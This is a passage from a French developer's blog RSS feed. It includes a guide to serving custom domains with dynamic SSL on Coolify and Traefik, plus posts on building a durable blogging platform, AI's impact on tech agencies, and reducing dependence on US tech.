<p>Le second facteur de <strong>réversibilité</strong>, c&#39;est de créer la possibilité (optionnelle) à chacun d&#39;utiliser son propre nom de domaine, par exemple j&#39;utilise eventuallymaking.io.
Si demain writizzy s&#39;arrête, je pourrais toujours garder ce nom de domaine et recréer mon blog à partir de mes données.
Le contenu n&#39;est pas noyé dans un site (comme Medium par exemple) et donc je garde tout contrôle sur la façon dont je peux le récupérer, et le diffuser.</p>
<p>Avec le sujet de la réversibilité je pourrais aussi parler de l&#39;<strong>interopérabilité</strong>. Comment faire en sorte que le contenu ne soit pas exclusif à Writizzy, comment l&#39;interopérer ailleurs.
Il y a déjà des solutions comme le flux RSS, les newsletters.
Mais, je regarderais aussi du côté d&#39;ActivityPub, AtProto et tout ce qui pourra permettre une meilleure décentralisation du contenu si des solutions intéressantes sont faisables.</p>
<h2>Prévenir la merdification</h2>
<p>Ok, ce titre est un peu étrange :)</p>
<p>La plupart des produits grand public ont tendance à mal vieillir, devenir trop complexe, trop cher. C&#39;est souvent le résultat d&#39;une double pression, celle des actionnaires d&#39;une part qui cherche à maximiser les profits, et celle des équipes internes de l&#39;entreprise qui ont besoin de constamment faire évoluer le produit pour justifier de leur présence.</p>
<p><a href="https://en.wikipedia.org/wiki/Enshittification">Cory Doctorow a popularisé cette expression</a>, mais essentiellement en parlant de la première cause, la pression des investisseurs. J&#39;ai tendance à penser que la seconde est tout autant problématique.</p>
<p>Writizzy est construit différemment. Et je pense que la plupart des nouvelles boites qui se créent dans cette ère post IA et en bootstrap vont partager cette même discipline. Je ferai en sorte de construire juste ce qui est nécessaire et ensuite de faire évoluer le produit uniquement quand il le faut. Je ne vais recourir à aucun investisseur externe et je ne prévois pas de revendre ce projet.<br>Et je ne prévois pas d&#39;embaucher des centaines de personnes.</p>
<p>Je pense qu&#39;il est possible et même plutôt sain de construire &quot;lentement mais surement&quot; pour ce type de projet.</p>
<h2>Etre viable économiquement</h2>
<p>Durer implique que le produit ne soit pas un gouffre financier. La première réponse est donné par le chapitre précédent, je n&#39;ai pas d&#39;investisseurs, je ne vais pas embaucher pour cramer un budget que je n&#39;ai pas et je sais ce que c&#39;est de que de créer un produit pour l&#39;avoir fait plusieurs fois. Je sais développer à l&#39;économie.</p>
<p>Sur Hakanai.io (un autre produit que je créé), je ne fais pas des milliers d&#39;euros, mais le produit rapporte plus qu&#39;il ne coute. Writizzy n&#39;est vieux que d&#39;un mois et demi, et c&#39;est déjà le cas également. Parce que c&#39;est simple aujourd&#39;hui de créer des produits avec peu de moyens.</p>
<p>Evidemment, je pourrais ne pas en vivre, mais je ne compte pas dessus pour l&#39;instant, et Thomas (qui crée ce produit avec moi) non plus. Je ferais en sorte que ça puisse arriver, ne serait-ce que pour démontrer que j&#39;en suis capable, mais j&#39;ai la possibilité d&#39;attendre longtemps.</p>
<h2>Une technologie durable</h2>
<p>Bon, ça c&#39;est la partie la moins réalisable dans le sens ou aucune technologie n&#39;est vraiment durable. Tous les languages, tous les frameworks nécessitent d&#39;être mis à jour régulièrement, notamment pour les failles de sécurité, la compatibilité avec les OS sous-jacent etc...</p>
<p>Pour autant, il y a quelques bonnes pratiques à avoir et notamment éviter les lockins techniques, ne pas reposer majoritairement sur une plateforme dont on ne pourrait pas se passer (éviter un gros vendeur cloud par exemple, ou datadog etc...)
Il faut toujours prévoir des alternatives, des plans de secours si un outil utilisé devenait trop cher, ou mourrait.</p>
<p>Writizzy tourne sur une stack standard (kotlin, nuxt) avec un outil PAAS qui serait facile à échanger (Coolify avec Traefik), sur un serveur VPS tout ce qu&#39;il y a de plus simple chez Hetzner.</p>
<p>On pourrait me demander, mais pourquoi ne pas en faire un produit open source ?
C&#39;est évidemment, en apparence, une garantie ultime de pérennité.<br>Je dis bien, en apparence, parce que l&#39;histoire nous a montré que des projets open source pouvaient être accaparé par leurs créateurs (Cf Wordpress et ces différents dramas).<br>La question n&#39;est pas forcément open source ou pas open source, mais quelles sont les intentions de ces créateurs ?<br>Il existe beaucoup d&#39;exemples d&#39;openwashing — des projets qui utilisent l&#39;étiquette &quot;open source&quot; comme canal d&#39;acquisition ou argument marketing, sans que ce soit une conviction profonde.</p>
<p>Dans tous les cas, l&#39;opensource vient aussi avec des contraintes. Aujourd&#39;hui Writizzy c&#39;est 3 applications distinctes, ce qui n&#39;est pas forcément dans les standards de ce qu&#39;on aime déployer pour de l&#39;open source. C&#39;est aussi un produit qui est pensé comme une plateforme et pas un produit qu&#39;on utiliserait de facon personnelle uniquement.
Enfin, il y a un sujet d&#39;exploitation commerciale, je ne souhaite pas avoir d&#39;autres personnes qui profiteraient de mon travail gratuitement pour revendre ce que j&#39;ai créé.</p>
<p>Je pourrais revenir sur ce sujet dans le futur en fonction de comment le produit évolue. Mais pour l&#39;instant, cette option est écartée.</p>
<p>Si jamais par contre Thomas et moi décidions d&#39;arrêter ou si nous avions un accident, ce serait une des conditions qui déclencherait un passage en open source et je vais prévoir des solutions pour que ca se fasse tout seul le cas échéant.</p>
<h2>Etre mon premier utilisateur (dogfooding)</h2>
<p>Enfin dernier point, je bloggue depuis 20 ans. Je suis actuellement l&#39;utilisateur le plus prolifique sur Writizzy avec plus de 80 articles déjà présents (mais je triche, j&#39;ai migré mes anciens articles ^^).
Je construis cet outil parce que je l&#39;utilise. Je pense que c&#39;est beaucoup plus facile de construire un produit qu&#39;on comprend parce qu&#39;on est soit même utilisateur.
Et ça aussi, c&#39;est un facteur de longévité.</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179390091-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Gérer les Custom Domains et le SSL dynamique avec Coolify et Traefik]]></title>
            <link>https://eventuallycoding.com/p/2025-12-custom-domain-coolify</link>
            <guid>https://eventuallycoding.com/p/2025-12-custom-domain-coolify</guid>
            <pubDate>Wed, 17 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Gérer les domaines personnalisés de vos clients sur Coolify. Guide pour automatiser les certificats SSL dynamiques avec le File Provider de Traefik.]]></description>
            <content:encoded><![CDATA[<p>J&#39;ai récemment publié un article sur <a href="https://eventuallycoding.com/2025/10/coolify-wildcard-ssl">la gestion des certificats SSL pour une application multi-tenant sur Coolify</a>.</p>
<p>Ok, ce titre peut faire peur, mais en gros, il permet à une application de gérer des tas des sous domaines (en HTTPS) dynamiquement pour ces utilisateurs. Par exemple :</p>
<ul>
<li><code>https://hugo.writizzy.com</code></li>
<li><code>https://thomas-sanlis.writizzy.com</code></li>
</ul>
<p>C&#39;est une excellente base, mais vos utilisateurs en demandent souvent plus : les <strong>custom domains</strong>. C&#39;est-à-dire la possibilité de personnaliser leur propre adresse, par exemple :</p>
<ul>
<li><code>https://eventuallymaking.io</code></li>
<li><code>https://thomas-sanlis.com</code></li>
</ul>
<p>Je vous propose donc de découvrir comment gérer des domaines personnalisés pour une application multi-tenant avec des certificats SSL dynamiques.</p>
<p><em>(J&#39;ai l&#39;impression de tenter le record du titre d&#39;article le plus long du monde !)</em></p>
<h2>Les custom domains</h2>
<p>La première étape pour un domaine personnalisé consiste à envoyer le trafic lié à ce (sous-)domaine vers votre application (Writizzy dans mon cas).</p>
<p>Tout se joue au niveau des <strong>enregistrements DNS</strong> de l&#39;utilisateur. En effet, lui seul peut configurer son domaine pour qu&#39;il pointe vers le sous-domaine de votre application.<br>Plusieurs options s&#39;offrent à lui : les enregistrements <strong>CNAME</strong>, <strong>ALIAS</strong> ou de type <strong>A</strong>.</p>
<h3>1. Le CNAME (le plus simple)</h3>
<p>Un CNAME est un alias pour un autre domaine. Il permet de dire, par exemple, que <code>www.eventuallymaking.io</code> est un alias de <code>hugo.writizzy.com</code>. Tout le trafic cherchant à résoudre l&#39;adresse <code>www</code> sera automatiquement renvoyé vers votre domaine applicatif.</p>
<p><strong>Limitation majeure :</strong> On ne peut pas utiliser de CNAME pour un domaine racine (par exemple <code>eventuallymaking.io</code> sans le <code>www</code>). L&#39;ajout d&#39;un CNAME sur un domaine &quot;apex&quot; poserait des soucis de coexistence avec les autres enregistrements (A, MX, TXT, etc.).</p>
<h3>2. L&#39;ALIAS</h3>
<p>Certains fournisseurs DNS proposent l&#39;enregistrement <strong>ALIAS</strong> (ou <em>CNAME flattening</em>). C&#39;est en résumé un CNAME qui peut coexister avec d&#39;autres enregistrements sur un domaine racine. C&#39;est une excellente méthode si le provider de l&#39;utilisateur le permet (ce n&#39;est pas le cas d&#39;OVH, par exemple).</p>
<h3>3. L&#39;enregistrement de type A</h3>
<p>Ici, l&#39;utilisateur renseigne directement l&#39;adresse IP du serveur de Writizzy.</p>
<p><strong>Attention :</strong> Cette méthode est risquée. Si vous changez de serveur (et donc d&#39;IP), tous les domaines personnalisés de vos utilisateurs seront cassés jusqu&#39;à ce qu&#39;ils mettent à jour leur configuration. Pour utiliser cette méthode sereinement, il est indispensable d&#39;avoir une <strong>IP flottante</strong> réattribuable à votre nouveau serveur ou à votre frontal web.</p>
<p>Ok, c&#39;est très bien, mais si on s&#39;arrête là, le résultat est très loin d&#39;être parfait puisque le site ne fonctionnera pas en HTTPS.</p>
<h2>Le HTTPS sur les custom domains</h2>
<p>Dans le billet précédent, je montrais comment Traefik pouvait router tout le trafic arrivant sur les sous-domaines <code>*.writizzy.com</code> vers la même application grâce à ces lignes :</p>
<pre><code class="language-yaml">traefik.http.routers.https-custom.rule=HostRegexp(`^.+$`)
traefik.http.routers.https-custom.entryPoints=https
traefik.http.routers.https-custom.service=https-0-zgwokkcwwcwgcc4gck440o88
traefik.http.routers.https-custom.tls.certresolver=letsencrypt
traefik.http.routers.https-custom.tls=true
traefik.http.routers.https-custom.priority=1
</code></pre>
<p>Puisque la Regexp capte tout, on pourrait penser que le SSL suivra. Malheureusement, non. Traefik sait qu&#39;il doit gérer un certificat Wildcard pour <code>*.writizzy.io</code>, mais il n&#39;a aucune connaissance des domaines externes qu&#39;il va devoir servir.</p>
<p>Il va falloir l&#39;aider en lui fournissant dynamiquement la liste des domaines personnalisés.</p>
<p>Nos contraintes :</p>
<ul>
<li>on ne veut évidemment pas redémarrer l&#39;application</li>
<li>on veut le piloter programmatiquement</li>
</ul>
<h3>La configuration Traefik dynamique avec les file providers</h3>
<p>C&#39;est ici qu&#39;entrent en scène les <a href="https://doc.traefik.io/traefik/reference/install-configuration/providers/others/file/">File Providers</a> de Traefik.</p>
<p>Dans Coolify, cette fonctionnalité est active par défaut via les <a href="https://coolify.io/docs/knowledge-base/proxy/traefik/dynamic-config">dynamic configurations</a>. Sous le capot, Traefik surveille un répertoire spécifique :</p>
<pre><code class="language-bash">- &#39;--providers.file.directory=/traefik/dynamic/&#39;
- &#39;--providers.file.watch=true&#39;
</code></pre>
<p>Si l&#39;on dépose un fichier <code>.yml</code> définissant la règle pour un nouveau domaine, Traefik le prendra en compte à chaud et lancera le challenge HTTP auprès de Let&#39;s Encrypt pour obtenir le certificat SSL.</p>
<p><strong>Exemple de configuration dynamique :</strong></p>
<pre><code class="language-yaml">http:
  routers:
    eventuallymaking-https:
      rule: &quot;Host(`eventuallymaking.io`)&quot;
      entryPoints:
        - https
      service: https-0-writizzy
      tls:
        certResolver: letsencrypt
      priority: 10
    eventuallymaking-http:
      rule: &quot;Host(`eventuallymaking.io`)&quot;
      entryPoints:
        - http
      middlewares:
        - redirect-to-https@docker
      service: https-0-writizzy
      priority: 10
</code></pre>
<p>Donc avec cette méthode, on a résolu la première contrainte : ne pas redémarrer pour configurer un nouveau custom domain.</p>
<p>Maintenant, on veut faire sauter la seconde contrainte et le faire programmatiquement.</p>
<h3>Automatisation via l&#39;application</h3>
<p>Pour piloter cela programmatiquement, l&#39;idée est simple : l&#39;application doit créer ces fichiers directement dans le répertoire surveillé par Traefik.</p>
<ol>
<li><strong>Configuration Coolify :</strong> Allez dans <code>Configuration -&gt; Persistent Storage</code> et ajoutez un <code>Directory mount</code> pour rendre le répertoire <code>/traefik/dynamic/</code> visible par votre conteneur applicatif.</li>
</ol>
<p><img src="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179386277-mount.jpg" alt="directory mount" /></p>
<ol start="2">
<li><strong>Code (Kotlin dans mon cas) :</strong> L&#39;application génère un fichier basé sur le template ci-dessus dès qu&#39;un utilisateur configure son domaine.</li>
</ol>
<blockquote>
<p>💡 <strong>Note importante sur le timing :</strong> Si vous créez la configuration Traefik avant que l&#39;utilisateur n&#39;ait pointé son domaine vers votre IP, le challenge SSL échouera. Traefik réessaiera automatiquement (backoff), mais cela peut prendre du temps. L&#39;idéal est de valider le pointage DNS (via un job en arrière-plan) <strong>avant</strong> de générer le fichier.</p>
</blockquote>
<blockquote>
<p>🔒 <strong>Note importante sur la sécurité :</strong> Le fichier créé contient une entrée utilisateur (le nom de domaine). Il est crucial de nettoyer et valider cette donnée pour éviter qu&#39;un utilisateur malveillant n&#39;injecte des directives Traefik arbitraires dans votre configuration.</p>
</blockquote>
<h2>Petit bilan</h2>
<p>Ce billet conclut, je l&#39;espère, une série utile pour les créateurs de SaaS multi-tenant sur Coolify. Nous avons couvert :</p>
<ol>
<li><a href="https://eventuallycoding.com/2025/10/coolify-subdomain">La gestion des tenants (Nuxt) et configuration Traefik de base</a></li>
<li><a href="https://eventuallycoding.com/2025/10/coolify-wildcard-ssl">La gestion du SSL avec sous-domaines dynamiques</a></li>
<li><strong>La gestion des custom domains en SSL</strong> (ce billet)</li>
</ol>
<p>On pourrait se demander si la solution va tenir la route avec des dizaines de milliers de sites utilisant tous un custom domain, notamment la capacité de Traefik de monitorer autant de fichier dans un répertoire.
Je n&#39;ai pas la réponse, Writizzy est pour l&#39;instant loin de cet ordre de grandeur.
Il existerait peut être d&#39;autres solutions, notamment en utilisant Caddy à la place de Traefik dans Coolify mais c&#39;est bien trop tôt pour l&#39;instant.</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179389677-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Impacts concrets de l'IA sur les Boîtes Tech et Agences en 2025]]></title>
            <link>https://eventuallycoding.com/p/2025-12-AI-impact-2025</link>
            <guid>https://eventuallycoding.com/p/2025-12-AI-impact-2025</guid>
            <pubDate>Thu, 11 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[L'IA est-elle une bulle ? Comment convaincre ses équipes de l'adopter face aux craintes écologiques ou de perte de sens ? Retour de discussions terrains sur le sujet]]></description>
            <content:encoded><![CDATA[<p>Quels sont les vrais impacts de l&#39;IA sur le quotidien des boites techs ? Pas uniquement les Big tech, mais les agences et les PME ?<br>J&#39;ai eu l&#39;occasion d&#39;en discuter avec plusieurs CTO lors d&#39;un apéro informel et je souhaite vous le partager.<br>L&#39;IA fait partie des sujets chauds pour à peu près tout le monde parce que, quelque soit notre opinion dessus, c&#39;est pas un sujet qu&#39;on peut juste mettre sous le tapis.<br>Les clients en parlent, les employés en parlent (en positif ou négatif) et certains concurrents l&#39;utilisent.</p>
<p>Ça a donné lieu à plusieurs discussions :</p>
<ul>
<li>quel est l&#39;impact de l&#39;IA concrètement pour une agence de dev en 2025 ?</li>
<li>est-ce que c&#39;est une bulle ? Et si jamais ça explosait ?</li>
<li>comment faire adopter l&#39;IA par ses équipes ? Est-ce que c&#39;est un choix individuel ou est-ce que c&#39;est une contrainte d&#39;entreprise ?</li>
<li>comment l&#39;IA peut être nécessaire mais conduire à la nausée ?</li>
</ul>
<p>Je vais essayer de retranscrire ces discussions ici.<br>Pour préserver l&#39;anonymat des participants, les noms seront tous fictifs dans la suite de l&#39;article.</p>
<h2>Impact de l&#39;IA pour une agence de dev en 2025</h2>
<p>J&#39;ai pu parler avec un responsable d&#39;agence de dev (qu&#39;on va appeler Chris) pour qui l&#39;IA a beaucoup changé la donne avec une vraie politique d&#39;adoption à l&#39;échelle de la boite.</p>
<p>Je vais être bref pour essayer de pas dénaturer les propos que j&#39;ai entendus :</p>
<ul>
<li>L&#39;IA a eu un impact sur tous les aspects de la boite, la contractualisation, le dev, le support etc..</li>
<li>L&#39;agence fait beaucoup <strong>plus de forfaits et moins de régie</strong>. <strong>Facturer au temps passé n&#39;a plus de sens</strong>. Désormais, il préfère largement facturer à l&#39;impact et la valeur produite.</li>
<li>Ils peuvent désormais s&#39;engager sur des forfaits plus petits, car les marges ont augmenté et le risque a diminué</li>
<li>Il commence à voir des goulots d&#39;étranglement au niveau de ces clients. <strong>Désormais les devs vont plus vite que le client</strong> peut exprimer de besoin.</li>
<li>Il commence à avoir plus souvent des équipes de 1 dev pour 1 client, ce qui est pas forcément bien pour la continuité de service. Mais d&#39;un autre côté avec deux devs, il n&#39;y a pas assez de boulot.</li>
<li>La phase de design est plus importante, avec une bonne phase de doc pour capturer les demandes. C&#39;est ça qui sert ensuite pour l&#39;IA (qui participe aussi à raffiner les docs)</li>
<li>Conséquence du point précédent : c&#39;est la première fois depuis la création de la boite que autant de doc a pu être produite, avec un bon niveau de qualité.</li>
<li>Il a eu des discussions avec des leads devs confirmés qui ont vu leur métier changer, et qui ont émis des doutes au début sur le fait qu&#39;ils allaient continuer à aimer leur boulot. Mais pour l&#39;instant ces personnes-là ont appris à aimer leur nouveau boulot.</li>
<li><strong>C&#39;est difficile d&#39;embaucher des juniors</strong>, car travailler avec une IA pour produire des applications nécessitent d&#39;avoir le recul nécessaire pour savoir les coder soit-même, lire le code, voir les failles etc... Il y a une véritable mur de l&#39;IA pour un jeune.</li>
<li>Globalement l&#39;agence fait plus de marge. Mais aussi parce que les concurrents ne s&#39;y sont pas mis. Chris pense que <strong>ça va se rééquilibrer quand plus de concurrents auront adopté les mêmes méthodologies de travail</strong>.</li>
<li>Il n&#39;a pas de soucis à faire participer les clients et ne cache pas l&#39;usage de l&#39;IA. Ça reste un outil, mais c&#39;est leurs méthodes de travail et leur expertise qui permet d&#39;en tirer un résultat satisfaisant.</li>
</ul>
<h2>Comment faire adopter l&#39;IA par ses équipes</h2>
<p>Ce sujet est très riche et je l&#39;avais déjà vu passer sur un slack.</p>
<p>Globalement, on pourrait formuler la question comme ça :</p>
<blockquote>
<p>Certains dévs n&#39;utilisent pas l&#39;IA dans une équipe malgré des sessions de démo/accompagnement etc... Comment les convaincre de le faire ?</p>
</blockquote>
<p>La discussion a forcément soulevé plein de sujets, mais on pourrait simplifier avec ces deux questions :</p>
<ul>
<li>est-ce qu&#39;il faut forcer les gens ?</li>
<li>quels sont les raisons invoquées par ces devs ?</li>
</ul>
<p>A la seconde question, on retrouve un ensemble de raisons qu&#39;on peut résumer en :</p>
<ul>
<li>considérations écologiques</li>
<li>sentiment de perte d&#39;intérêt pour le métier</li>
<li>peur de perdre des compétences</li>
</ul>
<p>Sur le premier sujet, personne n&#39;a trop osé aller sur le terrain. J&#39;ai moi-même pas répondu dans la discussion elle-même, peut-être par crainte d&#39;émettre un avis un peu trop dérangeant et de passer pour le cynique de service.
Mais avec le recul, je vais profiter de ce billet pour le faire. Certes, c&#39;est un avis qui pourrait ne pas plaire, mais j&#39;ai bien peur qu&#39;il se réalise.</p>
<p>Partons de cette hypothèse : Si une IA fait en 5 minutes le boulot qu&#39;un(e) ingénieur(e) aurait fait en plusieurs heures/jours, l&#39;équation écologique est largement en faveur de l&#39;IA.</p>
<p>Pour étayer cette hypothèse, je reprends les chiffres que j&#39;avais déjà calculés dans un autre billet de blog :</p>
<blockquote>
<p>Le temps moyen pour produire un concept art varie entre les artistes mais tourne globalement dans la quinzaine d’heures avec Photoshop. Ca représente 1500Wh, plus de 300 fois le cout avec une IA.</p>
</blockquote>
<p>A tâche égale, l&#39;IA est plus intéressante écologiquement qu&#39;un travailleur.
Evidemment, on peut répondre que oui, mais si on va plus vite, on va produire plus. Le développeur va bosser une journée complète dans tous les cas, et donc va consommer davantage sur la journée.</p>
<p>Oui, un dev va consommer plus. S&#39;il ne fait que ça, ce qui est déjà une hypothèse optimiste.</p>
<p>Mais si l&#39;effectif de la boite diminue de 30 ou 40%, l&#39;équation redevient positive.<br>Et ça j&#39;ai bien peur que personne ne le dise trop fort parce que les implications sont lourdes.</p>
<p>En fait il va y avoir deux cas de figures :</p>
<ul>
<li><p>les boites dysfonctionnelles où les gens mettent 3 semaines pour faire des tâches simples et se planquent une partie du temps à la machine à café ou dans des meetings inutiles..
Eh bien si les gens utilisent l&#39;IA, ils passeront juste plus de temps sur le reste. Et ça fera des économies d&#39;énergie.
Oui, c&#39;est un peu provoc, mais je connais ces boites-là, elles existent et c&#39;est pas du cynisme quand je dis ca...<br>Je vous avais dit que j&#39;allais être piquant...</p>
</li>
<li><p>les boites qui recherchent la productivité. Ces boites vont garder les personnes les plus efficaces, mais vont réduire les effectifs, car les besoins ne suivront pas. C&#39;est dur à entendre, je comprends. Mais ça va arriver.</p>
</li>
</ul>
<p>J&#39;ai bien peur que les personnes qui se mettent en défaut pour des considérations écologiques finissent par avoir gain de cause... <strong>en perdant leur emploi</strong>.</p>
<p>Et je précise bien que je ne le souhaite à personne. Je tire un fil de raisonnement qu&#39;il me semble important d&#39;aborder. Vous pouvez détester le messager. Mais c&#39;est le message qui devrait vous intéresser.</p>
<p>Viennent ensuite les deux autres sujets :</p>
<ul>
<li>la perte de sens</li>
<li>la perte de compétences</li>
</ul>
<p>Sur les différentes discussions que j&#39;ai eues, tout le monde semblait aller vers les mêmes conclusions : oui le métier change. C&#39;est beaucoup plus un métier de conception, avec une grande emphase sur le design, l&#39;architecture, la capacité à le formaliser. Il y a beaucoup de gens qui finissent par l&#39;apprécier. Mais c&#39;est pas le cas de tous, et c&#39;est en partie ça qui créé les réfractaires.</p>
<p>Maintenant, on en arrive à la question épineuse :</p>
<ul>
<li>est-ce qu&#39;il faut forcer les gens ?</li>
</ul>
<p>Et là globalement les avis sont assez divergents entre ceux qui considèrent que ça doit être un choix personnel, comme le choix de l&#39;IDE par exemple.</p>
<blockquote>
<p>La réflexion est permise, c&#39;est plus le côté &quot;obligatoire&quot; qui n&#39;est pas justifié à mon sens.
Il y a des outils qui sont des contraintes : versioning, unittesting, etc.
Et d&#39;autres qui doivent rester à la discrétion des devs : IDE, StackOverflow, Reddit, etc.
L&#39;IA pour moi fait partie de la 2ème catégorie.</p>
</blockquote>
<p>Et d&#39;autres qui considèrent que ça ne peut plus l&#39;être, pas plus que le choix de refuser d&#39;utiliser un outil de versioning.</p>
<blockquote>
<p>Je comprends vos remarques, mais je place l&#39;IA à un niveau différent d&#39;un simple outil. Aujourd&#39;hui si un dév utilise VSCode, je ne le force pas à utiliser Intellij (ou autre) mais ne pas utiliser d&#39;IDE pour un dév semblerait assez étonnant.</p>
</blockquote>
<p>J&#39;ai pas vu de consensus se dessiner dans les groupes qui ont discuté de ce sujet. Mais une des phrases qui ressort pour moi en termes de conclusion, c&#39;est la suivante :</p>
<blockquote>
<p>Les développeurs qui ne veulent pas utiliser l&#39;IA doivent comprendre que leur perf va être analysée en comparaison avec des gens qui, eux, l&#39;utilisent.
S&#39;ils sont aussi performant sans, soit et sinon ils sont face à un problème qu&#39;ils doivent résoudre de leur côté, non ?</p>
</blockquote>
<p>De cette discussion est venu un questionnement : ok, mais si on bascule tous dessus et que la bulle explose, qu&#39;est-ce qu&#39;on fait ?</p>
<h2>Est-ce que c&#39;est une bulle ? Et si jamais ça explosait ?</h2>
<p>Je trouve la question très pertinente. Qu&#39;est-ce qui se passe dans 2 ou 3 ans si la bulle de l&#39;IA explose comme la bulle internet en 2000 ?
Est-ce qu&#39;on sera capable de revenir en arrière sur nos habitudes de travail ?</p>
<p>Sur le côté &quot;bulle&quot;, le consensus semble assez largement partagée et la période actuelle rappelle beaucoup celle de 2000.</p>
<p>En 2000, le simple fait de renommer son entreprise avec un &quot;.com&quot; pouvait faire exploser une valorisation boursière, sans que la boite fasse du web. Pour lever de l&#39;argent, il fallait trouver lien, fictif ou pas, avec internet.
Aujourd&#39;hui c&#39;est pareil avec l&#39;IA. Plus de la moitié des investissements concernent l&#39;IA.
Je reçois des contacts chaque semaine de boite qui vont &quot;révolutionner le secteur X ou Y&quot; avec de l&#39;IA.<br>Toutes les semaines.</p>
<p>Donc oui, le consensus est partagé : beaucoup d&#39;entreprises qui surfent sur l&#39;IA vont se planter. Et potentiellement pas que des petites.
Mais il y a un second consensus, c&#39;est que l&#39;IA ne mourra pas avec la bulle, tout comme le Web n&#39;est pas mort en 2000.</p>
<p>Au vu de l&#39;adoption massive des outils d&#39;assistance au code, il y a peu de chances qu&#39;ils ne soient plus disponibles, d&#39;autant qu&#39;il existe déjà des modèles opensource. Et certains imaginent qu&#39;il sera possible d&#39;entretenir des modèles spécialisés dans le code pour moins cher que les gros modèles généralistes actuels. Une équation économique rentable se mettra en place, à minima sur cette niche.</p>
<p>Personne n&#39;est devin comme l&#39;a fait remarquer un intervenant, mais j&#39;ai tendance à penser que la probabilité d&#39;une disparition complète de l&#39;IA me parait peu évidente.</p>
<h2>Comment l&#39;IA peut être nécessaire, mais conduire à la nausée ?</h2>
<p>Je sais même pas si ce chapitre est vraiment nécessaire tant il paraît évident, mais tout le monde semble tout autant intrigué que victime d&#39;indigestion sur les sujets IA. Certes tout le monde l&#39;utilise, mais de la même facon que tout le monde utilise un clavier et c&#39;est pas suffisant pour que ce soit le SEUL élément de la conversation.</p>
<p>Pourtant :</p>
<ul>
<li>C&#39;est compliqué de lever de l&#39;argent pour créer des boites sans dire qu&#39;on fait de l&#39;IA </li>
<li>Il y a plein de pitchs de boites qui parlent constamment d&#39;IA alors qu&#39;en étant un minimum sérieux, il n&#39;y a rien de crédible quand on creuse un peu.</li>
<li>C&#39;est agacant de voir des conférences techs avec 95% de conférences autour du thème de l&#39;IA avec une certaine compétition parfois dans le brassage de vent (tuto pour débutants, sujets tirés par les cheveux etc...)</li>
</ul>
<p>Alors oui, c&#39;est paradoxal : c&#39;est le sujet du moment, et en même temps tout le monde sature.</p>
<p>Bref, on a parlé de tout ça (pas que, je vous rassure) et j&#39;espère que cette petite synthèse vous aura intéressé.</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179385722-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Construire une application indépendante de la tech US en 2025]]></title>
            <link>https://eventuallycoding.com/p/2025-12-building-independent-tech-2025</link>
            <guid>https://eventuallycoding.com/p/2025-12-building-independent-tech-2025</guid>
            <pubDate>Sun, 07 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[En tant qu'Européen, peut-on être 100% indépendant de la tech US ?]]></description>
            <content:encoded><![CDATA[<p>En tant qu&#39;Européen, peut-on être 100% indépendant de la tech US ?</p>
<p>La question est sans doute mal posée.</p>
<p>Pourquoi chercher à l&#39;être ?</p>
<p>&quot;<strong>Pourquoi</strong>&quot; est sans doute une meilleure question.</p>
<p>Etre dépendant d&#39;un pays, quel qu&#39;il soit, c&#39;est prendre des risques sur sa propre liberté d&#39;expression ou sa sécurité.</p>
<p>L&#39;Europe a toujours été influencée par les US, mais désormais ce pays est devenu hostile et des affaires récentes nous ont montré les risques de cette dépendance :</p>
<ul>
<li>les multiples scandales liés aux réseaux sociaux, X et Facebook pour influencer les élections en Europe</li>
<li>les multiples dérapages de Grok, l&#39;IA de Musk pour créer un climat de haine</li>
<li>les sanctions contre la cour pénale internationale de justice qui investigue sur les éventuels crimes de guerre à Gaza.</li>
</ul>
<p>Du jour au lendemain, les juges de la CPI se sont retrouvés <a href="https://www.heise.de/en/news/How-a-French-judge-was-digitally-cut-off-by-the-USA-11087561.html">exclus du système économique mondial</a> controlé en grande partie par VISA, Mastercard et American Express). Les comptes en ligne sur toutes les entreprises US ont été fermés (Amazon, Airbnb, Paypal etc...). Même des banques non américaines ont fermé des comptes pour éviter de violer les rêgles US.</p>
<p>Dans le même temps, c&#39;est toute l&#39;administration de la CPI qui a été coupés de ces outils, emails, documentation etc...</p>
<p>Je pourrais aussi citer le dernier rapport sur <a href="https://www.cnn.com/2025/12/05/politics/trump-national-security-strategy">la stratégie de sécurité nationale américaine</a> publié il y a 2 jours.
Ce rapport insiste sur le fait de mettre des efforts pour influencer la politique intérieure des pays Européens.
Steve Bannon, conseiller de Donald Trump a créé une fondation à Bruxelles dont l&#39;objectif est d&#39;affaiblir l&#39;union Européenne <a href="https://prospect.org/culture/the-brink-inside-steve-bannon-s-plan-ruin-world/">en encourageant les tous les partis de l'extrême droite européenne à suivre un but commun</a> :  &quot;maiming the European Union&quot; (mutiler l&#39;UE)</p>
<p>Ce n&#39;est pas de la paranoïa, c&#39;est une stratégie <strong>documentée</strong> et <strong>officielle</strong>.
La dépendance tech européenne n&#39;est pas juste un risque théorique — elle est activement exploitée comme levier géopolitique.</p>
<p><img src="https://writizzy.b-cdn.net/blogs/48b77143-02ee-4316-9d68-0e6e4857c5ce/1765056109162-hz5wnfd.jpg" alt="Musk est totalement transparent sur son objectif et celui des US" /></p>
<p>**Le 100% Européen parait difficile à atteindre mais chacun doit faire ses petites actions pour changer cet équilibre en utilisant davantage des solutions non US. **</p>
<p>J&#39;avais déjà essayé de lister tout les services dont je dépendais <a href="https://eventuallycoding.com/2025/04/score-tech-dependency">en avril dans un article pour calculer son score de dépendance</a>.</p>
<p>Depuis j&#39;ai progressé.</p>
<ul>
<li>Je suis passé sur Proton pour l&#39;email, le stockage de documents, le VPN, le coffre fort numérique. Proton a fait x5 en nombre d&#39;utilisateurs en 4 ans.</li>
<li>Je suis sorti de X et prochainement Facebook (j&#39;attends juste d&#39;y poster cet article avant de le faire)</li>
<li>Je n&#39;utilise plus Airbnb mais uniquement Booking</li>
